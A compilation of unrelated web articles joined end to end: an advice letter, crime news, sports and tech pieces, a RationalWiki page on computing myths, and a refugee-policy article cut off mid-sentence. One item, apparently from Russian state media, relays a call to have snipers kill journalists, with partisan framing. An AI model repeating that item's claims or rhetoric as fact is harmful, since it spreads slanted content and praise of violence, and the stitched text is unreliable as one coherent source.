advice... I'm a 29 year old female, college graduate, and firmly situated in a great job. I've been dating my 29 year old boyfriend for a year and a half. I love him and I know he loves me. We have a great relationship, enjoy each other's company, and our families love us and emotionally support us. We both are adults with our own homes. We don't live together. We have friends and hobbies. We're both physically active and take care of our bodies. He gets me and loves me for who I am. He defends me and provides a listening ear when I need it. He also isn't afraid to call me out when I'm wrong. He's become one of my closest friends. I love him for all those things. He started college later than most people and recently graduated. He has a decent job and is job hunting to find something better and more within his degree path. Like me, he has a solid family, great parents who've never been divorced and a sibling married with kids. He talks about us in futuristic terms. "Our kids, our someday house, our dreams..." I believe he wants a future with me. However, whenever I bring up marriage he gets this "deer in headlights" look. He tells me the thought of marriage frightens and overwhelms him. Those conversation usually end with him frustrated and holding me while I cry. I wouldn't consider myself a clingy or overly emotional woman but when he says those things I get scared. I'm scared on some level of not being enough or unwanted, of being alone for the rest of my life, and of not spending the rest of my life with him. I've stopped bringing it up. I don't want to be a nag and I feel that I shouldn't have to be. Either he loves me and wants to spend his life with me or he doesn't. I want to be married. I'm ready. I want a family one day. I want a family with him. My question is this. How long do I wait for him to be ready? Honestly, I feel like the two year mark is the deal maker or breaker. But is that reasonable? I feel like I've been waiting for him... to graduate, to get settled, to become ready... do I keep waiting? I realize, "Love is patient." But how long does one remain patient? I don't want to have a "you marry me or we're over" discussion. I'm not into ultimatums. But at the same time, I'm nearing my 30s and I do want a family one day. Waiting for years for him to "be ready" doesn't seem healthy. Your thoughts? -TORONTO — Bullets claimed two more lives early Sunday during a violent month in which the number of people killed by shootings in Toronto doubled compared to last January. Two men are dead and three others suffered injuries in a Chinatown shooting at Spadina Avenue and Nassau Street around 3:15 a.m. “Some sort of altercation occurred that prompted the shooting but we’re still early in the investigation,” said Toronto Police Det. Mike Carbone, who wouldn’t rule out the possibility that the killings were the result of gang-related violence. “It’s difficult to say at this point, but that’s something we will explore,” he said. I was lying in bed and heard six to eight gunshots and soon I heard a lot of sirens In the 37 shooting incidents in Toronto in January, eight people were killed. Four died in shootings in January 2014. In Sunday’s multiple shooting, one man was pronounced dead at the scene, while another died in hospital around 8:45 a.m. Their identities have not been released by police. The stretch of Spadina between Dundas Street and College Street, home to many ethnic restaurants and small businesses, was closed most of the day for the investigation as police officers canvassed the area. Officers did not release any information about suspects. Mitchell Kingsley, who lives near the spot where the shooting took place, recalled hearing a series of shots. “I was lying in bed and heard six to eight gunshots and soon I heard a lot of sirens,” Kingsley said. “It’s crazy. I don’t know if an altercation went wrong, but I don’t think I have to worry. I’m not the type of person to provoke someone.” Toronto’s eight gunfire victims in January: Jan 4: Joseph Petit, 17, is shot in front of his home in Danforth Village. He dies in hospital. No arrests. Jan. 19: Tevin James, 22, is shot in an Etobicoke apartment and dies three days later. Frederick Leon, 20, is charged with second-degree murder. Jan. 20: Alfredo Patriarca, 42, is found shot to death in a garage in Etobicoke. No arrests. Jan. 20: A gunman kills Alva Dixon, 70, and wounds a man in his 40s as they sit in a parked van in East Toronto. No arrests. Jan. 24: Adedotun Agunbiade, 28, is shot to death during a private party at a hair salon in a strip mall in Scarborough. No arrests. Jan. 29: Former Mafia boss Rocco Zito, 87, is gunned down in his home near Yorkdale Shopping Centre. His son-in-law, Domenico Scopelliti, 51, is charged with first-degree murder. Jan. 31: Two people are killed and three wounded outside a restaurant in Chinatown. -Had marijuana become a problem for me, it would have been reflected in my job performance, and I would have been cut. I took my job seriously and would not have allowed that to happen. The point is, marijuana and excellence on the playing field are not mutually exclusive. A good example is Josh Gordon, the Cleveland Browns wide receiver who led the league last year with 1,646 receiving yards, despite missing two games for testing positive for codeine (for a strep throat, he said). He was suspended again late last month for the entire season after testing positive for marijuana. (At least five others were also suspended last year and this year for marijuana, according to the magazine Mother Jones.) Most players are tested once a year under the N.F.L.’s substance abuse policy, between April 20 and Aug. 9. But players who test positive for a banned drug are placed in the league’s substance abuse program, where the testing is more frequent. It is in this probationary program that players tend to falter. Gordon had marijuana in his system. He broke the rules. I understand that. But this is a rule that absurdly equates marijuana with opiates, opioids and PCP. The N.F.L.’s threshold for disciplinary action for marijuana is 10 times higher than the one used by the International Olympic Committee. Nearly 17,000 Americans overdosed and died from prescription painkillers in 2011, according to the most recent figures from the Centers for Disease Control and Prevention. These are the same pills I was handed in full bottles after an injury. The same pills that are ravaging our cities. The same ones that are creating a population of apathetic adults, pill-popping their way through the day and dead behind the eyes. The same ones that are leading high schoolers to heroin because the pills no longer get them high and are too expensive. Yeah, those. -Wireless charging is hardly a ubiquitous feature in smartphones and tablets at this point. It's often optional—phones from certain carriers will have it, or you'll be able to add it to a phone using a special charging case. But if you pick a phone at random off the shelf, chances are good that it won't support wireless charging out of the box. Google's most recent Nexus devices, on the other hand, have all included built-in support for the feature—the Nexus 4, Nexus 5, and 2013 Nexus 7 all support wireless charging. While any charging pad that supports the Qi (pronounced "chee") standard will work with them, as of last week Google will sell you its own Nexus-branded charger to match. This is actually the second Nexus charger that Google has made, after the now-discontinued (and somewhat problematic) Nexus 4 wireless charger. Google sent us one of the new chargers, and we put it through its paces to see if it's worth the $50. Unboxing Recent Nexus phones and tablets have come in well thought out, understated blue boxes, and the Nexus wireless charger follows the trend. Lift the lid off the box and the charger will be sitting right there, staring you in the face. The charger itself is a surprisingly small square that's 2.36 inches on each side and half an inch thick, but it's pretty dense—it weighs 3.7 ounces, not all that much less than the Nexus 5's 4.59 ounces. The glossy black top is unadorned save for a faint Nexus logo in the center, and the sides are a blank matte plastic except for the side with the micro USB port embedded in it. On the underside, Google has applied some sticky but not-quite-adhesive material that plants the charger firmly to whatever surface you'd like, but it doesn't leave a residue when you pry it off. This material is not quite as sticky as tape, but it's grippy enough that it could hang out on the wall of my office for 15 or 20 seconds before falling on the floor (whoops). It should easily keep the charger from sliding around on your desk or bedside table, but if you move it around a lot you'll need to clean the dust and grit off it to keep it sticky. You won't find a mention of the Qi standard anywhere on Google's product page, but that appears to be what the Nexus charger is using. It's listed as being compatible with the Nexus 4, Nexus 5, and the 2013 Nexus 7, but it should also work fine with other Qi-enabled phones (or phones with Qi-compatible charging cases). Once you've stuck the charger where you want it, you just need to set your phone or tablet on top of it to start charging. Magnets will pull the device into place and keep it there, so the device isn't in any danger of slipping off the charger or moving too much if you need to poke at it while it's charging. Centering the tablet on the charger can be a little tricky, but all three Nexus devices make a distinctive notification sound when charging wirelessly to tell you when you've done it correctly. On the whole, the design of the charger is better thought out than the old Nexus 4 wireless charger. That device had an angled face (which made it difficult to impossible to use with anything larger than a phone) and used the same not quite adhesive material to hold the slippery Nexus phone to the charger. As we've noted, this material picks up dust and other detritus easily, and the dirtier it is the worse it is at sticking to things. The Nexus 4 charger had the more distinctive design, but the new charger is definitely more functional. Power draw and charging speeds This was my own first foray into wireless charging, so I was interested in seeing how much power the charger used compared to a standard wired charger plus how this affected charging speeds. Using an ever handy Kill-A-Watt meter, I measured power draw at the wall for both the wireless charger and a standard micro USB charger (these figures are for the adapter that shipped with the 2013 Nexus 7, but the figures for the one that comes with the Nexus 5 were about the same). These figures were each taken when the phone's battery was mostly empty and with the screens turned off (the numbers will generally go up when the screen is on and the device is in active use, and they'll fall as you near the end of a charge cycle). Device Power draw (micro USB) Power draw (wireless charger) Nexus 5 6.6 Watts 6.0 Watts Nexus 7 (2013) 7.5 Watts 6.1 Watts The Nexus 5 and Nexus 7 will both draw more power through a micro USB charger than the wireless charger, which is par for the course—wireless charging usually isn't as fast as charging through a cable. These differences in power draw are reflected in charge times. The Nexus 7 takes about two hours and 56 minutes to charge using its power adapter, but six hours and six minutes to charge using the wireless charger. The wireless charger draws about 25 percent less power, but it takes 100 percent more time to charge the tablet. Keep in mind that the convenience of wireless charging also takes longer and is less efficient. Wireless charging is still a nice feature—it's a good box to check, but its exclusion wouldn't keep us away from an otherwise attractive phone or tablet. If your phone does support Qi, and you're in the market for a nice charger, you could do worse than Google's. Unlike its first try, the new Nexus Wireless Charger is unobtrusive, attractive, and functional. It's a little pricey at $50 (compared both to other charging pads and to the adapter that came with your phone), but it gets the job done. -Monero (XMR), the privacy-centric cryptocurrency that was first released in 2014, is now definitely on the FBI’s radar. In late 2016, darknet markets AlphaBay and Oasis Markets began to accept Monero for payments. At a recent seminar session attended by a journalist from CoinDesk, Special Agent Joseph Battaglia of the FBI’s Cyber Division in New York City, told 150 people at Fordham University that the FBI was monitoring Monero, and was concerned criminals would use Monero for nefarious purposes. Special Agent Battaglia gave a “high-level” account of how the FBI’s Cyber Division conducts cryptocurrency investigations, during the event. The event was hosted by Fordham University and co-hosted by IBM and was attended by law students at the university, as well as by New York City Police detectives and IRS agents. “There are obviously going to be issues if some of the more difficult to work with cryptocurrencies become popular. Monero is one that comes to mind, where its not very obvious what the transaction path is or what the actual value of the transaction is except to the end users,” Special Agent Battaglia said at the seminar. During 2016, the price of Monero soared from around $0.50 (USD) to over $12 (USD). Monero provides more privacy than Bitcoin, using the CryptoNote protocol which is based on one-time ring signatures and stealth addresses. Monero transactions cannot be traced, and is designed to prevent the identity of the sender and receiver of the cryptocurrency. During a panel at the event, which featured IBM’s Vice President of Blockchain Business Development, Special Agent Battaglia described the FBI as a “reactionary organization” and said that the FBI’s Cyber Division is taking a wait-and-see approach with Monero. “We’re going to look at what catches on, and what becomes mainstream, and then we’re going to keep an eye on that, because usually not long after that is when you start to see some of the fraud and some of the more nefarious uses of that technology,” Battaglia said during the panel. Battaglia would not provide additional information about the FBI’s investigative techniques surrounding Monero, when asked after the event. The FBI’s Cyber Division was founded in 2002, and according to Battaglia, the division splits it’s work equally between criminal matters and matters of national security. The Cyber Division is made up of squads located throughout the United States. Special Agent Battaglia explained that partnerships are made between the FBI’s Cyber Division and state police, the IRS, FinCEN, the Secret Service, and “detectives from all sorts of different law enforcement agencies.” At a keynote address, Special Agent Bataglia also mentioned how Monero is increasingly being used by ransomeware. While Oasis has since gone offline, in an exit scam, AlphaBay continues to function and allow users to make deposits and withdrawals in both Bitcoin and Monero. AlphaBay began accepting Monero on September 1st, 2016. “Following the demand from the community, and considering the security features of Monero, we decided to add it to our marketplace,” a notice on AlphaBay said in August of 2016. -From RationalWiki Computing woo refers to a range of pseudoscientific practices and urban legends associated with computing, especially computer security. Technical support [ edit ] The world of technical support is a magical place. User[Who?] beliefs include: Programming [ edit ] Technicians and software developers many of whom consider themselves rational logical thinkers are not immune from all kinds of sloppy thinking and superstitions: Heisenbugs , issues that never seem the same when you attempt to study them , issues that never seem the same when you attempt to study them Cargo cult programming It works on my machine: some programmers and IT have a tendency to assume that because code will run on one computer, that if it doesn't run on another one, that the other one is broken. It's usually the opposite. If you have code that runs on your personal computer but not on other machines, it is probably doing something dangerous that should cause segmentation faults or similar, but somehow is being allowed to do it. Alternatively, it may be set up in a way that is peculiar to the settings and file system on your machine. Name, time, addresses, maps, gender misconceptions and more![4][please explain] And among most people there is little conception what's involved in programming, to the point that the moviegoing public can accept the idea that a sufficiently good programmer can write a virus for a completely alien operating system, in a completely alien language, and have it work right the first time.[note 1] BadBIOS [ edit ] BadBIOS is firmware malware that was created by Ruiu ... in his head. Individuals like Ruiu are extremely concerned about malicious firmware from hackers and the NSA to the point of literal paranoia. Origin [ edit ] According to Ruiu (@dragosr on twitter), BadBIOS is a rootkit that can infect computers without bluetooth, ethernet, or Wi-Fi. Instead it can infect other computers by emitting "ultrasonic sound [...] from the device's loudspeakers". Computers nearby somehow pick up the sound via the speakers and thus get infected. Ruiu suspected his computers were infected with BadBIOS once his computers were acting strange.[5] Ruiu later provided data dumps of his BIOS only to have experts reveal it was normal data. Ruiu then countered stating that the malware probably erased itself whenever he tried to make a data dump.[6] While these claims are not outside the realm of science fiction, Ruiu has not provided a silver bullet, only speculation. Despite this, his reputation seems to be intact somehow. Years later, Ruiu came to the conclusion that BadBIOS can also contaminate USB , through some way of knowing...[7] The subreddit [ edit ] Yep, /r/badBIOS/ is a subreddit for a malware that probably never existed! Unsurprisingly, it's inhabited by some users who think that one weird thing in a computer means infected malware. These people are generally paranoid, judging by the threads: User thinks hackers infected his ... mp4 file because it got corrupted. [8] OP blatantly states they used a dirty electricity filter to evade hacking. Ironically, his means to evade being hacked is the reason why he thinks he got hacked — having poor connection to an external device can disconnect a device when it's not ready, resulting in corrupted file. [ citation needed ] OP blatantly states they used a dirty electricity filter to evade hacking. Ironically, his means to evade being hacked is the reason why he thinks he got hacked — having poor connection to an external device can disconnect a device when it's not ready, resulting in corrupted file. A user claims that they're picking up ultrasonic sound ... must be badBIOS! [9] Ultrasonic sound is just high-frequency sound above the human hearing range. There are other (plausible) sources of such frequencies such as bats. Ultrasonic sound is just high-frequency sound above the human hearing range. There are other (plausible) sources of such frequencies such as bats. "Neuroimaging tech will soon be able to decode our thoughts"[10] An example of just how paranoid this subreddit is. Truth to it [ edit ] Despite Ruiu's paranoia, there is truth to the madness: Through an "internal NSA catalog", the NSA performs firmware attacks through backdoors thus confirming proof that such attacks do exist. Unlike BadBIOS, these attacks are actually detectable and actually have documentation; however, certain tools in the catalog require tools priced as high as 250,000$USD, something not to be wasted on the average Joe. Despite this discovery, it doesn't confirm Ruiu's brain fart that has no evidence. [11] [12] [13] [6] In the paper Journal of Communication, Michael Hanspach and Michael Goetz showed that BadBIOS is possible but only at 20 bps.[14] Deep web [ edit ] See the main article on this topic: Deep web Cargo cult paranoid computer security practices are often advocated by naive internet denizens and trolls towards even more naive newcomers. High profile attacks aimed at Tor hidden services Operation Onymous as well as large attacks on users such as the FBI's legally dubious network investigation malware[15] has created an association of insecurity and surveillance associated with what is in fact one of the most secure and surveillance-resistant networks ever created. Prospective explorers often ask if they should put tape over their webcam or use Tails in order to 'safely' explore the dark web. They will fixate on how technological configurations can secure their machines, but are entirely clueless about vectors such as password reuse, identity segregation or how to verify safety of file downloads. Such common misconceptions stem from limited public understanding of threat modelling , privacy and practical computer security. As such, there is a massive market for bloggers and YouTube charlatans such as Takedownman and SomeOrdinaryGamers to offer off-the-shelf tips which increase the user's feeling of security. Every day, an intrepid dark web explorer will read that the US Navy founded the initial creation of the Tor network and fancy themselves the next Edward Snowden by disseminating this information.[16] Hackers and viruses [ edit ] [17] Or maybe to keep their missiles from crashing into the Firmament. Russian Orthodox Leader Sprays Holy Water on Government Computers to Magically Stop WannaCry Attack.Or maybe to keep their missiles from crashing into the Firmament. [citation NOT needed] Criminal hackers don't wear balaclavas except when it's cold or they are being ironic. Due to the low understanding of what hackers do and how viruses and malware works, it has been a relatively accepted trope for someone to claim their account was hacked as a get-out-jail-free card in the event of certain drug-fuelled rants and dramas.[18] Some computer users will attribute changes to their computer to malevolent forces in a method comparable to astrology when it comes to rationalising changing and intermittent issues. Of course, in a video gaming context, anyone who is better than you is a hacker. There is a small number of 'anti-updaters', an anti-vaccination movement-like contingent of people arguing against automatically updating applications due to the misplaced belief that significant numbers of people care to manually review and install all patches.[19][20] Patches and updates are generally good, except maybe if you're working with the CIA.[21] Yes, there are occasions where an update breaks something that was working before or causes other mischief, but by and large updates are something you want: they fix problems and improve the security of your system. Cryptography [ edit ] See the main article on this topic: Cryptography Depending on who you ask, encryption can be anything from the largest piece of social good modern mathematics has ever produced or a dangerous weapon utilised by terrorists[22] and child abusers[22] in order to evade justice which must be carefully controlled. In the early days of strong cryptography, the US government attempted to issue export bans, classifying the technology as akin of munitions.[23] While such bans were overturned in 1992, it wasn't until the rise of ubiquitous personal computing that governments would once again characterize mathematics as a dangerous tool. The 2010s saw an increased call from politicians[Who?] around the world to backdoor common encryption software.[24] From the encrypted-by-default iPhone[25] through to bans on WhatsApp [26] in Brazil[27] and proposed and later withdrawn in the UK,[28] governments around the world remain convinced they can create a secure back door into software to counter criminals; however, it's not like backdoors are only exclusive to government agencies. Said statements could be considered rhetoric to coerce tech giants deeper into mass surveillance programs, and less charitably as mathematical denialism from senior elected officials. Monitoring your Internet usage [ edit ] How much do your teachers, coworkers, employers, or other people really know about what you do online? "The Internet" is really an inter-network, or a network of networks.[note 2] Your home Internet, the free WiFi at a coffee shop, your campus or work networks, etc. are all networks that talk to other networks. When you view a website, check your email, or chat with your friends, your computer achieves that by sending traffic from your network to someone else's, and routing it through every network in between. Anyone with control of the network can try to figure out what kind of traffic you're sending, where it's going, and what's in it. The modern Internet is moving toward HTTPS by default, which is an attempt to make things more secure. If your browser reports that your connection is "secure" or "insecure", it's talking about HTTPS specifically. It doesn't mean that there's no chance that anyone can intercept what you're doing. By analogy, you're writing letters to a friend, and passing them through the hands of a series of strangers. By agreement, everyone has agreed not to tamper with the contents of the letter. HTTPS lets you seal the letter from (most) prying eyes, but does nothing to hide which friend you're mailing. It's important to remember that there are good reasons for network administrators to monitor what goes into or out of their networks. If someone downloads and runs malware from an unsafe site, it puts the whole network at risk. If an employee does something illegal with their computers, their employer might be implicated. Few admins should have any kind of interest in spying on individual users, but every good admin has an interest in a safe and healthy network. Email security [ edit ] Who can read your email? Whoever provides you with email services, for starters. Microsoft read a blogger's Hotmail inbox in 2012, suspecting a software leak.[29] Ironically, around this same time, Microsoft was running the Scroogled ad campaign, attacking Gmail for using inbox contents to serve up targeted ads. It also defended its own right to read your mail.[30] Email alternatives such as Slack might also expose even direct messages to your boss.[31] Secure email and instant-messaging tools do exist, but no security system is absolute. Web filtering [ edit ] Web filtering is a magical solution to all the world's problems. Simply by stopping people (particularly children, but also library patrons) reaching the wrong website you can prevent sexual depravity bringing about the fall of modern civilisation, and prevent terrorism. Companies including Impero, Future Digital, and Securus sell "anti-radicalisation software" which prevents children reading about Islamist terrorism'.[32] According to online security company Akamai, British law requires schools and universities to consider the use of such software.[33] Whether Akamai is an unbiased source of legal advice is for you to judge. The traditional use of such software is to block access to pornography online, but such filters are pathetically useless. A British newspaper report complained that one filter blocked searches for "sex education" but allowed explicit searches in Spanish; it concluded they provide false security and could be easily circumvented (as anybody who knows anything about children could tell you). More seriously, anti-porn filters may discourage children from talking to their parents and actually promote porn addiction: "Filters can also encourage secrecy, deception and shame – key conditions for nurturing dependency or even potential addiction."[34] Because the naughtiness is half the reason why porn is appealing. Web filters also rarely if ever consider the blocking of pornography or jihadism to be their first priority. The majority of their efforts go to the blocking of websites offering alternative proxies and websites offering translation software. The former because it allows people to easily and perhaps even unintentionally bypass these filters and the latter because they often allow for diverse translations of the thing that people want to be censored and thus increase exponentially the work required to censor everything. Even more worrying is that some have them by default, meaning that no matter what you do, you won't be able to access Babelfish.[35] You'll be glad to know that the best in the business who have a firm place in the international market are currently selling their software to dictatorships that want to avoid their citizens reading about any information that might potentially harm the way the government is perceived by its citizens. [36] On the plus side, since these governments are spending their time with censoring internet traffic and they will never be able to fully do so anyway, this is often accompanied with a more uncensored traditional press and television. However, one might still question why democratic governments support something that is partially marketed to dictators. Misc [ edit ] Things that are not computing woo [ edit ] Whilst common computing misconceptions are numerous, often too many serious issues are written off[citation needed][Who?] as such including: See Also [ edit ] /r/itsaunixsystem on Reddit - dedicated making fun of Hollywood hacking willusingtheprefixcybermakemelooklikeanidiot.com - You should always be cautious with the about mainstream media reporting of cyber-anything. If in doubt, be sure to check Notes [ edit ] ↑ As seen for instance in Independence Day ↑ Hence the abbreviation of "Inter-net(work)". -The National Institutes of Health is spending more than $400,000 sending text messages to Latino men to encourage them to exercise. The University of California, San Diego is conducting the study, which is attempting to employ the “low-cost” strategy of using cell phones to reach Mexican-Americans. “Mexican-American men report high rates of inactivity and related health conditions. The proposed study seeks to promote physical activity among this at-risk, understudied population by developing interactive and tailored text-messages to enhance a print-based physical activity intervention for Spanish- speaking [Mexican American] MA men,” a grant for the project said. “The proposed high-reach, low-cost strategy for increasing physical activity has great potential for adoption on a larger scale and thereby positively impacting public health and eliminating health disparities.” Latino men “may have limited access to public health interventions promoting physical activity,” according to the project, and there is a “dearth of studies in this area.” “To address these rising health disparities, effective interventions that leverage state-of-the-art technology, theory, and methods are needed for [Mexican-American] MA men,” the grant said. The project is based on a preliminary study using “culturally and linguistically tailored” print campaigns to encourage Latino men to exercise. Click for more from The Washington Free Beacon. -Ukrainian journalist and political analyst Yuri Romanenko says it's time for Ukraine's Armed Forces to start a deliberate campaign of murdering Russian journalists in Donbass, for the purpose of attracting global media attention. © AP Photo / Sergei Grits Heard Through Grapevine: Putin Turned Down Poroshenko’s Offer of Donbass Recalling a recent meeting at Harvard University on his Facebook page , Romanenko noted that he recommended to his colleagues that Ukrainian army snipers suppress Russian coverage of the war in Donbass by deliberately targeting Russian journalists operating in the region. The political analyst noted that as the conversation turned to the powerful role played by information warfare in the present conflict, speakers began lamenting about how Ukraine has been falling out of the American media space recently. It was then that Romanenko decided to "inject some new life into the debate." "I know how to resolve the problem of waning attention and to bring media attention to a new level. The Ukrainian army must selectively and carefully eliminate Russian journalists covering the situation in Donbass. We need to direct Ukrainian army snipers to shoot people wearing PRESS helmets, making them priority targets," Romanenko wrote, recalling his comments before the Harvard audience. "Since the media represent a destructive weapon and allow Russia to operate not only in the war zone, but across Ukraine, taking out several dozen journalists in the conflict zone will reduce the quality of the picture presented in the Russian media and, therefore, reduce the effectiveness of their propaganda." © Photo : MoD of Ukraine Interpol-Wanted Extremist Appointed Advisor to Ukraine's Chief of Staff The political analyst explained that such an action would quickly bring Ukraine back into the center of the American media's attention, noting that while on the one hand this would serve as "bad PR" for Ukraine, "all the same, PR is PR, and we must do everything possible not to fall out of the US media's focus in the context of [its] presidential campaign." The analyst noted that his Harvard hosts rejected his proposal outright, noting that the deliberate murder of journalists is a violation of international law, to which, in Romanenko's recollection, the Ukrainian delegation "happily grinned." © Sputnik / Anzhela Babenko Ukrainian Economy Suffers 15% Drop in GDP in First 100 Days of 2015 The analyst noted that when Russia repeatedly violated international law in relation to Ukraine, "you didn't seem too worried…so why should you be worried now? The intensification of the conflict, and bringing it to a new level, unable to be ignored by the US and Europe, serves as our magic wand." Romanenko stated that following the meeting, "one man from the [Ukrainian] diaspora" told him "you are completely right; this is just the way to save Ukraine." -Well, Mrs. Perkins mostly stays put, except when she takes the girls away on vacation. More mercurial is Aline Bernstein (Nicole Kidman), a married theatrical set designer who has adopted Tom as her protégé and appointed herself his muse. This makes her Max’s rival, and also the most interesting and unpredictable person in the movie, even though — or perhaps precisely because — it lacks the imagination to know quite what to do with her. Instead, “Genius” sighs with palpable nostalgia for a supposed golden age of masculine artistic potency and paints the struggle for self-expression in familiar sentimental colors. For Tom, writing is the unbridled expression of the life force, something Mr. Law indicates by hollering and gesticulating and allowing a stray lock of hair to fall just so across his brow. Mr. Firth’s performance is equally broad, even though he’s supposed to be the more uptight partner in this bromance. He grimaces and sighs like a vaudeville Puritan. But the actors can perhaps be forgiven, since they are continually pushed into scenes that seem designed to halt subtlety in its tracks. The most egregious of these — in which Tom drags Max to a sweaty nightclub in Harlem, pontificating on the spontaneous energies of jazz and boogieing with the working girls at the bar — adds a dash of racial condescension to the cocktail. It’s dispiriting to see a movie about interesting real-life characters reduce them to clichés, making them less vivid, less fascinating, less charismatic than they must have been. (It’s also a bit disconcerting, though hardly surprising at this point, to see yet another movie with important figures in American history portrayed by British and Australian actors.) “Genius” is full of talk about art, life and greatness, but it’s only talk. “Genius” is rated PG-13 (Parents strongly cautioned). Cigarettes and other examples of old-fashioned naughtiness. Running time: 1 hour 44 minutes. -Editor's Note: This has been cross-posted from the EnergyBlog at Energy.gov As many of us hit the road to celebrate America's independence this upcoming 4th of July weekend, we must once again confront the reality of our country's economy, environment and security dependence on foreign oil. On Wednesday, June 29th, at 2:00 pm ET, please join Dr. Arun Majumdar at Energy.gov for a frank, two-way discussion about the investments the federal government is making in innovative research and technology today that will move us off of foreign oil and toward the clean energy infrastructure of the future. Watch the video invitation to the online chat with Dr. Arun Majumdar here. The Energy Department is making critical investments to improve the technology and ramp-up the development and manufacturing of renewable energy sources, such as advanced biofuels, solar, wind and hydro power. And as the first director of the Advanced Research Projects Agency for Energy (ARPA-E), Dr. Majumdar oversees the Department of Energy's investments in high-risk, high-reward projects -- such as work to invent better batteries for electric vehicles, create smarter electric grid infrastructure, explore energy-efficient cooling of buildings, find new ways to create liquid fuels using microorganisms, and many more projects to accelerate the development and deployment of key energy technologies. You can submit your questions about new energy innovations to Dr. Majumdar in advance of the event through email, Twitter or Facebook, by Sending an email to newmedia@hq.doe.gov; Tweeting your question to @energy with the hashtag #energymatters; or Leaving a question for Dr. Majumdar at http://www.facebook.com/energygov. You’ll also be able to send him questions live during the event using the above methods, or by visiting energy.gov. As Dr. Arun Majumdar says in his video, like past American generations have already done, this is our turn to change the world. We hope to see you online on Energy.gov on Wednesday the 29th at 2pm ET to discuss how. -David Cameron today vowed that Britain will take 'thousands' more refugees as he promised to 'fulfil our moral responsibilities'. The Prime Minister ordered a review of the country's policy on accepting asylum seekers from north Africa, and an announcement on details is expected within days. The UK is unlikely to sign up to a Brussels plan which emerged today for 160,000 people to be dispersed across the European Union. But Downing Street has been stung by criticism that Mr Cameron was 'shaming the country' with his refusal to increase the UK's commitment. Scroll down for video David Cameron today sought to quell public outrage over the refugee crisis with a promise to 'fulfil our moral responsibilities' Poll Should Britain agree to take more refugees? Yes No Should Britain agree to take more refugees? Yes 20099 votes No 75705 votes Now share your opinion Britain has opted out of UN and EU schemes that could mean accepting tens of thousands more asylum seekers, with the focus on spending aid money in the war torn countries from which people are fleeing. Mr Cameron argues that opening the door to more refugees is not the answer to the crisis triggered by tens of thousands of people massing in Greece, Italy and Hungary. But he signalled that senior ministers are now looking at options to increase the number of refugees able to resettle in Britain. Mr Cameron said: 'We are taking thousands of refugees and we have always done that as a country – running our asylum system properly and giving a proper welcome to people and helping them when they come here. 'We keep it under review. We work with our partners. We are taking thousands of people and we will take thousands of people. What matters is when they come they get a proper welcome and we look after them.' Public calls for the UK to offer more help has mounted after harrowing images emerged of five-year-old Galip Kurdi and his brother Aylan, 3, who drowned after their dinghy capsized while attempting to cross from Syria to the Greek island of Kos. Mr Cameron said he was 'deeply moved' by the pictures but refused to spell out plans for an increased offer of more refugee places. The Prime Minister told reporters: 'Anyone who saw those pictures overnight could not help but be moved and, as a father, I felt deeply moved by the sight of that young boy on a beach in Turkey. 'Britain is a moral nation and we will fulfil our moral responsibilities. 'I would say the people responsible for these terrible scenes we see the people most responsible are President Assad in Syria and the butchers of ISIL and the criminal gangs who are running this terrible trade in people.' Mr Cameron's remarks were echoed by Chancellor George Osborne, who said Britain had already taken in 5,000 asylum seekers fleeing the war in Syria and would 'go on taking people' It comes after Mr Cameron has come under pressure from within the Conservative party, as well as political opponents, church leaders and foreign leaders to do more. Former Scottish first minister Alex Salmond said Mr Cameron was 'shaming the country' over the crisis. He told BBC Radio 4's World At One programme: 'When people, human beings, see other human beings in distress, when we see pictures of young toddlers lying dead on a beach, then the natural human instinct is to help. 'David Cameron's natural instinct is to walk by on the other side and that's why he's shaming the country.' Britain is a moral nation and we will fulfil our moral responsibilities Prime Minister David Cameron The Archbishop of Canterbury Justin Welby today said the migrant emergency is a 'wicked crisis'. He added: 'My heart is broken by the images and stories of men, women and children who have risked their lives to escape conflict, violence and persecution. ‘This is a hugely complex and wicked crisis that underlines our human frailty and the fragility of our political systems,’ he added. ‘We must respond with compassion.’ Labour's acting leader Harriet Harman said it was 'deplorable' that the government was 'putting its head in the sand and showing itself to be heartless and out of touch'. 'We are all proud of Britain's historical role of offering a sanctuary to those fleeing conflict and persecution,' she wrote in a letter to the PM. 'We are an outward-facing, generous-hearted nation, not one that turns inward and shirks its responsibilities. I know you will not want to be the Prime Minister of a Government that fails to offer sanctuary while our neighbours are stepping up to respond. 'I strongly support the Government's continued aid for the refugee camps in the region and agree with you that we need much tougher action against people trafficking, but it is clear now that we also have a moral duty to act to take in more of these people and help them to rebuild their lives.' The human cost: One thousand miles away, a policeman on a Turkish beach had to gently recover the bodies of two brothers drowned as their family tried to make their way to the Greek island of Kos yesterday Devastating: The two boys' mother also drowned in one of the most harrowing episodes of the migrant crisis HOW UK'S ASYLUM SYSTEM WORKS It would be easy to think from some of the attacks in recent days that Britain refuses to accept any refugees. In fact, since early 2011 the UK has granted asylum to almost 5,000 Syrians. To claim asylum in the UK, a person has to be in the country. Last year some 32,344 adults and their dependants from around the world applied in 2014, the highest annual number since 2004. In the first quarter of 2015, the figure was 7,435. Genuine refugees are expected to seek asylum in the first safe country to arrive in. However, it can be difficult for people from the most dangerous parts of the world to reach the UK. Under the Syrian Vulnerable Persons Relocation scheme, refugees can apply to be resettled in the UK by being transferred from Syria. A total of 216 people have been resettled under scheme so far. Mr Cameron's remarks were echoed by Chancellor George Osborne, who said Britain had already taken in 5,000 asylum seekers fleeing the war in Syria and would 'go on taking people'. He added that Britain's closed-door refugee policy was 'under review'. He said Britain would continue sending aid to the Middle East to help Syrian refugees trapped in camps. He said: 'You have got to make sure the aid keeps coming – we put £1billion of overseas aid in to help these desperate people.' But he added: 'Of course Britain has always been a home to real asylum seekers, genuine refugees. We have taken 5,000 people from the Syrian conflict. 'We will go on taking more and keep it under review. Britain has been playing a leading role and it will continue to do so.' It came after Brussels drew up an emergency plan relocate 160,000 refugees across the EU. However, Britain has opted out of the scheme is not obliged to accept a single extra migrant. Under the new scheme, migrants stranded in Italy, Greece and Hungary will be transferred to countries across the EU based on their population and economic wealth. It will see Germany granting asylum to 35,000 refugees, France accepting 26,000 and Spain 16,000. Even poverty-stricken Bulgaria and Romania will be expected to take thousands of families. However, the UK – which refused to join the scheme when it was originally set up in May – will not have to take in any refugees despite being one of the largest and wealthiest countries in the EU. If the UK were to take the same share as the rest of the EU it would be expected to grant asylum to around 17,000 refugees - or 11 per cent of the total number. According to today's leaked EU document there are 54,000 asylum seekers in Hungary 39,600 in Italy, 66,400 in Greece. Migrants board a train at Keleti Railway Station in Budapest today as plans emerged to relocate refugees across the EU Around 2,000 migrants from Syria have been forced to sleep near the Keleti railway station in Budapest PUBLIC PETITION FORCES DEBATE ON TAKING 